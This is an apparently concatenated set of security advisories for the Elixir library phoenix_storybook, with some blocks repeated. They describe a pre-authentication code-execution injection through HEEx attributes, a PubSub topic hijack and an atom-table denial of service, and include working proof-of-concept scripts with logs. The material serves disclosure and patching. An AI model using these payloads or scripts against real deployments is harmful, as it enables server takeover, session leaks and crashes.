2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

1. Identify any story URL with a Playground tab (e.g. /storybook/core_components/button).
2. Connect to the Phoenix LiveView WebSocket without any authentication.
3. Join the story's LiveView channel and send a psb-assign event with an attribute value that escapes the HEEx attribute context and embeds an Elixir expression (e.g. a System.cmd/2 call).
4. The server evaluates the injected expression and returns its output in the rendered response.

No authentication, no special configuration, and no user interaction are required.

Impact

This is a pre-authentication remote code execution vulnerability. Any user able to reach the storybook endpoint, including unauthenticated internet users if the storybook is publicly deployed, can execute arbitrary operating system commands with the privileges of the server process. All versions of phoenix_storybook from 0.5.0 before 1.1.0 are affected.

Resources

• Introduction Commit: https://github.com/phenixdigital/phoenix_storybook/commit/e35379dfe2ef1a71b141899e36f431017c55265d
• Patch Commit: https://github.com/phenixdigital/phoenix_storybook/commit/56ab8464d4375fa52db806148a06cce126ad481d

Summary

The storybook iframe LiveView accepts a PubSub topic from the URL query string and broadcasts its own pid onto that topic with no check that the topic belongs to the current session. Any unauthenticated visitor who knows or guesses another user's playground topic can hijack the playground↔iframe handshake, causing the victim's playground to send its control messages to an attacker-controlled iframe process — a cross-session information leak.

Likely introduced in https://github.com/phenixdigital/phoenix_storybook/commit/8c2c97b0f505780fee4069988bf86736f51d35d7

Details

PhoenixStorybook.Story.ComponentIframeLive.handle_params/3 (lib/phoenix_storybook/live/story/component_iframe_live.ex:24-30) takes the topic straight from params["topic"] and broadcasts on it:

if topic = params["topic"] do
  Phoenix.PubSub.broadcast!(
    PhoenixStorybook.PubSub, topic, {:component_iframe_pid, self()}
  )
end

The shared PhoenixStorybook.PubSub is used to coordinate playground LiveViews with their iframes: a playground subscribes to a topic, learns the iframe's pid from the {:component_iframe_pid, _} message, and then uses send/2 to deliver subsequent state and control messages (variation state, theme switches, extra-assign payloads, etc.) directly to that pid.

Because the iframe trusts the query parameter, an attacker who loads /storybook/iframe/<story>?topic=<victim_topic> in their own browser causes their iframe process's pid to be announced on the victim's private topic. The victim's playground then addresses its private messages to the attacker's iframe, where they arrive in handle_info/2. There is no authentication, ownership check, or binding between the topic and the requesting session.

The fix is to stop accepting the topic from the query string — derive it server-side from the LiveView session (or pass the playground pid via a signed session) and refuse to broadcast on any topic the current session does not own. Alternatively, nest the iframe LiveView under the playground so its pid is known directly and the broadcast-based discovery is removed.

PoC

The attached script reproduces the leak end-to-end against a real Phoenix endpoint mounting the library's own router via live_storybook("/storybook", backend_module: MyStorybook). The threat model is an outside attacker who can reach the storybook iframe URL; the only entry point used is a plain HTTP GET /storybook/iframe/<story>?topic=<victim_topic>, which mounts ComponentIframeLive and triggers the vulnerable handle_params/3 call site shown above.

To simulate a legitimate playground, the script spawns a "victim" process that calls Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic) with a freshly generated secret topic. The attacker session — completely separate, with no shared cookies or auth — then issues a single Req.get! to the iframe URL with ?topic=<victim_topic> URL-encoded onto the query string. Inside the iframe LiveView, params["topic"] is the attacker-supplied value, and Phoenix.PubSub.broadcast!/3 delivers {:component_iframe_pid, self()} to the victim's subscription. No authentication or token is needed; the only precondition is knowing (or guessing) the victim's topic.

The victim process pattern-matches on {:component_iframe_pid, attacker_iframe_pid} and forwards it to the test harness. The script prints VERIFIED: attacker-controlled "?topic=" query param caused PubSub broadcast onto victim's private topic along with the leaked pid when the cross-session message arrives, and NOT VERIFIED if nothing arrives within the timeout. The full script is attached below under "Scripts and Logs".

Impact

Cross-session information disclosure and message injection in any application that exposes phoenix_storybook over an HTTP boundary. Any unauthenticated user who can reach the iframe route and learn or guess a playground's topic can redirect the playground's private control messages — variation state, theme changes, and any developer-wired extra assigns — to an iframe process they control. There is no auth check on the broadcast, so the only precondition is reachability of the iframe URL plus knowledge of a target topic.

Scripts and Logs

# Verifies: Cross-session PubSub topic injection via URL parameter
#
# Run: elixir cross_session_pubsub_topic_injection_via_url_parameter_1352.exs
#
# Threat model: an outside attacker who can browse the storybook iframe URL.
# They open `/storybook/iframe/<story>?topic=<victim_topic>` in their own
# browser. The iframe LiveView's handle_params broadcasts
# `{:component_iframe_pid, self()}` on whatever topic the attacker put in the
# query string. A victim's playground that subscribed to `victim_topic`
# (legitimately, for its own iframe) receives the attacker's iframe pid and
# will subsequently address its private control messages to that pid.
#
# This PoC stands up a real Phoenix endpoint + the library's own router, has a
# "victim" process Phoenix.PubSub.subscribe to a secret topic, then makes a
# plain HTTP GET to the iframe URL with `?topic=<secret>` from an attacker
# session. If the victim receives the iframe pid, the topic was successfully
# hijacked.

Mix.install([
  {:phoenix_storybook, "1.0.0"},
  {:phoenix_live_view, "~> 1.0"},
  {:bandit, "~> 1.5"},
  {:req, "~> 0.5"},
  {:jason, "~> 1.4"}
])

# ----- 1. Minimum on-disk story so the iframe LV actually mounts. -----
tmp = Path.join(System.tmp_dir!(), "psb_poc_#{System.unique_integer([:positive])}")
File.mkdir_p!(tmp)

File.write!(Path.join(tmp, "demo.story.exs"), """
defmodule Storybook.Demo do
  use PhoenixStorybook.Story, :component
  def function, do: &Phoenix.Component.link/1
  def variations do
    [%Variation{id: :default, attributes: %{navigate: "/x"}, slots: ["hi"]}]
  end
end
""")

# ----- 2. Storybook backend + Phoenix endpoint/router. -----
expanded_content_path = Path.expand(tmp)

Module.create(
  MyStorybook,
  quote do
    use PhoenixStorybook, otp_app: :psb_poc, content_path: unquote(expanded_content_path)
  end,
  Macro.Env.location(__ENV__)
)

defmodule MyRouter do
  use Phoenix.Router
  import Phoenix.LiveView.Router
  import PhoenixStorybook.Router

  scope "/" do
    live_storybook("/storybook", backend_module: MyStorybook)
  end
end

poc_port = Enum.random(20_000..30_000)

Application.put_env(:psb_poc, MyEndpoint,
  http: [ip: {127, 0, 0, 1}, port: poc_port],
  server: true,
  secret_key_base: String.duplicate("a", 64),
  live_view: [signing_salt: "12345678"],
  pubsub_server: PhoenixStorybook.PubSub,
  adapter: Bandit.PhoenixAdapter,
  check_origin: false
)

defmodule MyEndpoint do
  use Phoenix.Endpoint, otp_app: :psb_poc

  @session_options [
    store: :cookie,
    key: "_psb_poc_key",
    signing_salt: "12345678",
    same_site: "Lax"
  ]

  socket "/live", Phoenix.LiveView.Socket, websocket: true
  plug Plug.Session, @session_options
  plug :fetch_query_params_plug
  plug MyRouter

  def fetch_query_params_plug(conn, _opts), do: Plug.Conn.fetch_query_params(conn)
end

# ----- 3. Boot endpoint (PhoenixStorybook.PubSub is started by the lib app). -----
{:ok, _} = MyEndpoint.start_link()

base = "http://127.0.0.1:#{poc_port}"

# ----- 4. Victim subscribes to its private playground topic. -----
victim_topic = "playground-secret-#{:erlang.unique_integer([:positive])}"
victim = self()

# A separate process plays the role of the victim's playground LV. It
# subscribes to its own topic — exactly what PlaygroundLive does when the
# legitimate user opens their playground page.
victim_pid =
  spawn_link(fn ->
    :ok = Phoenix.PubSub.subscribe(PhoenixStorybook.PubSub, victim_topic)
    send(victim, :victim_ready)

    receive do
      {:component_iframe_pid, attacker_iframe_pid} ->
        send(victim, {:victim_got, attacker_iframe_pid})
    after
      5_000 -> send(victim, :victim_timeout)
    end
  end)

receive do
  :victim_ready -> :ok
after
  2_000 -> raise "victim subscribe timed out"
end

# ----- 5. Attacker, in a completely unrelated session, hits the iframe URL
#         with ?topic=<victim's secret topic>. -----
attacker_url =
  base <>
    "/storybook/iframe/demo?topic=" <> URI.encode_www_form(victim_topic)

_resp = Req.get!(attacker_url, retry: false)

# ----- 6. Observe the cross-session leak. -----
outcome =
  receive do
    {:victim_got, leaked_pid} -> {:leaked, leaked_pid}
    :victim_timeout -> :no_leak
  after
    6_000 -> :no_leak
  end

# ----- 7. Tear down. -----
:ok = Supervisor.stop(MyEndpoint, :normal)
File.rm_rf!(tmp)
if Process.alive?(victim_pid), do: Process.exit(victim_pid, :kill)

case outcome do
  {:leaked, pid} ->
    IO.puts("Victim received iframe pid: #{inspect(pid)}")
    IO.puts("Victim's topic was: #{victim_topic} (never shared with attacker session)")
    IO.puts("Attacker only needed to know/guess that topic to hijack the pid handshake.")
    IO.puts("VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic")

  :no_leak ->
    IO.puts("NOT VERIFIED: no cross-session message observed within timeout")
end

Logs

11:56:17.598 [warning] Can't resolve priv dir for application psb_poc

11:56:17.750 [info] Running MyEndpoint with Bandit 1.11.1 at 127.0.0.1:26466 (http)

11:56:17.750 [info] Access MyEndpoint at http://localhost:26466

11:56:17.790 [debug] Processing with PhoenixStorybook.Story.ComponentIframeLive.__live__/0
  Parameters: %{"story" => ["demo"], "topic" => "playground-secret-8"}
  Pipelines: [:storybook_browser]
Victim received iframe pid: #PID<0.598.0>
Victim's topic was: playground-secret-8 (never shared with attacker session)
Attacker only needed to know/guess that topic to hijack the pid handshake.
VERIFIED: attacker-controlled `?topic=` query param caused PubSub broadcast onto victim's private topic

Summary

An attacker who can deliver psb-assign, psb-toggle, psb-set-theme, upper-tab-navigation, lower-tab-navigation, playground-change, or playground-toggle LiveView events to a mounted Phoenix Storybook playground can flood the BEAM atom table with attacker-controlled strings, permanently leaking atoms until the VM hits its ~1,048,576 atom ceiling and crashes the entire node. No authentication is required beyond being able to reach the storybook route.

Tabs parsing was introduced in https://github.com/phenixdigital/phoenix_storybook/commit/0228669d55c23a754d1ef11f49a32121129d5395

Details

PhoenixStorybook.Story.Playground and PhoenixStorybook.ExtraAssignsHelpers converts user-supplied event params into atoms without checking whether the atoms already exist:

• handle_set_variation_assign/3 (lib/phoenix_storybook/helpers/extra_assigns_helpers.ex:59) iterates the event params map and calls String.to_atom/1 on every key.
• handle_toggle_variation_assign/3 (line 73) calls String.to_atom/1 on the "attr" value supplied by the client.
• to_variation_id/2 (lines 90, 93) calls String.to_atom/1 on each element of "variation_id".
• to_value/4 (lines 106, 107) calls String.to_atom/1 on the raw string value for any attribute declared as :atom or :boolean.

The existing guards do not help: check_type!/3 for :boolean inspects the atom after String.to_atom/1 has already interned it, so the leak has already happened. The :atom branch only checks is_atom/1, which is trivially true for the atom that was just created. Atoms in the BEAM are never garbage-collected, so each unique attacker string is a permanent leak; once the atom table fills, the VM aborts.

The fix is to use String.to_existing_atom/1 (with a rescue that rejects unknown names) or, better, to look the attribute / variation up in the declared story.attributes() / variation registry and reuse the atom from there.

PoC

The attached script focuses on only the first class of parameters. It encodes the threat model of an outside attacker who can deliver psb-assign events to a mounted storybook playground LiveView. LiveView event handlers route those params into the public helper PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3 (see lib/phoenix_storybook/live/story/playground_preview_live.ex), so the script calls that helper directly with attacker-shaped params — a stub FakeStory providing an empty attributes/0 list and a single :default variation, plus an extra_assigns map keyed by {:single, :default}.

Each simulated request is a params map with 5,000 unique keys of the form "psb_evil_<nonce>_<r>_<i>". Because the helper does for {key, value} <- params, ..., do: {String.to_atom(key), ...}, every distinct key is interned as a brand-new permanent atom. The script issues 5 such requests for 25,000 atoms total — modest on purpose so the script finishes quickly; raising either loop bound walks the process straight into :erlang.system_info(:atom_limit) and crashes the VM.

The script measures :erlang.system_info(:atom_count) before and after, prints the delta and the atom limit, and prints VERIFIED: … when the delta is at least requests * attrs_per_request (i.e. 25,000), proving that each attacker-controlled string became a permanent atom. No authentication is required by the helper itself — only the ability to reach the storybook route and emit the event.

The full script is attached below under "Scripts and Logs".

Impact

Unauthenticated denial-of-service via atom-table exhaustion against any Phoenix application that mounts Phoenix Storybook (1.0.0) on a network-reachable route. A single sustained stream of psb-assign / psb-toggle events with unique keys is enough to crash the entire BEAM node, taking down every application running on it — not just the storybook. The only precondition is reachability of the storybook LiveView; many deployments expose it in staging/preview environments or, by misconfiguration, in production.

Scripts and Logs

# Verifies: Unbounded atom creation from LiveView event params (atom-table DoS)
#
# Run with:
#   elixir unbounded_atom_creation_from_liveview_event_params_atom_tabl_1350.exs
#
# Threat model: an outside attacker who can deliver `psb-assign` events to a
# mounted storybook view supplies attacker-controlled param maps. The library's
# public helper `PhoenixStorybook.ExtraAssignsHelpers.handle_set_variation_assign/3`
# is the documented entry point that LiveView event handlers feed those params
# into (see lib/phoenix_storybook/live/story/playground_preview_live.ex). The
# helper interns every key of `params` with `String.to_atom/1`, so unique
# attacker strings each create a permanent atom.

Mix.install([{:phoenix_storybook, "1.0.0"}])

alias PhoenixStorybook.ExtraAssignsHelpers
alias PhoenixStorybook.Stories.Variation

defmodule FakeStory do
  def attributes, do: []
  def variations, do: [%Variation{id: :default, attributes: %{}}]
end

extra_assigns = %{{:single, :default} => %{}}

# Each request from the attacker is one params map. Use 5_000 unique attribute
# names per request, across 5 requests = 25_000 distinct atoms permanently
# leaked. (Kept modest so the script finishes quickly; raise to crash the VM.)
nonce = System.unique_integer([:positive])
requests = 5
attrs_per_request = 5_000

before_count = :erlang.system_info(:atom_count)

for r <- 1..requests do
  attacker_params =
    for i <- 1..attrs_per_request, into: %{"variation_id" => "default"} do
      {"psb_evil_#{nonce}_#{r}_#{i}", "x"}
    end

  ExtraAssignsHelpers.handle_set_variation_assign(attacker_params, extra_assigns, FakeStory)
end

after_count = :erlang.system_info(:atom_count)
delta = after_count - before_count

IO.puts("atom_count before: #{before_count}")
IO.puts("atom_count after:  #{after_count}")
IO.puts("delta:             #{delta}")
IO.puts("atom_limit:        #{:erlang.system_info(:atom_limit)}")

expected = requests * attrs_per_request

if delta >= expected do
  IO.puts(
    "VERIFIED: handle_set_variation_assign/3 interned #{delta} attacker-controlled strings as permanent atoms (limit #{:erlang.system_info(:atom_limit)}); a sustained flood exhausts the atom table and crashes the BEAM."
  )
else
  IO.puts("NOT VERIFIED: only #{delta} new atoms created (expected >= #{expected})")
end

Logs

atom_count before: 26341
atom_count after:  51361
delta:             25020
atom_limit:        1048576
VERIFIED: handle_set_variation_assign/3 interned 25020 attacker-controlled strings as permanent atoms (limit 1048576); a sustained flood exhausts the atom table and crashes the BEAM.

Summary

An unsafe HEEx template generation vulnerability allows any unauthenticated user to execute arbitrary code on the server. The phoenix_storybook playground accepts user-controlled attribute values over WebSocket and interpolates them unsanitized into a HEEx template that is subsequently compiled and evaluated with full Elixir Kernel access.

Details

The vulnerability is a three-step chain:

1. Unsanitized WebSocket input (extra_assigns_helpers.ex) The psb-assign event handler in PhoenixStorybook.Story.PlaygroundPreviewLive accepts arbitrary attribute names and values from unauthenticated WebSocket clients and stores them verbatim via ExtraAssignsHelpers.handle_set_variation_assign/3.

2. Unescaped interpolation into HEEx (component_renderer.ex) ComponentRenderer.attributes_markup/1 builds a HEEx template string by interpolating binary attribute values directly:

{name, val} when is_binary(val) ->
  ~s|#{name}="#{val}"|

No escaping of " or { is performed. A value such as foo" injected={EXPR} bar=" breaks out of the attribute string and injects EXPR as an inline HEEx expression.

3. Unsandboxed evaluation (component_renderer.ex) The resulting HEEx string is compiled via EEx.compile_string/2 and evaluated via Code.eval_quoted_with_env/3 with full Kernel imports and no sandbox. The injected expression executes on the server even if it causes a rendering error.

PoC

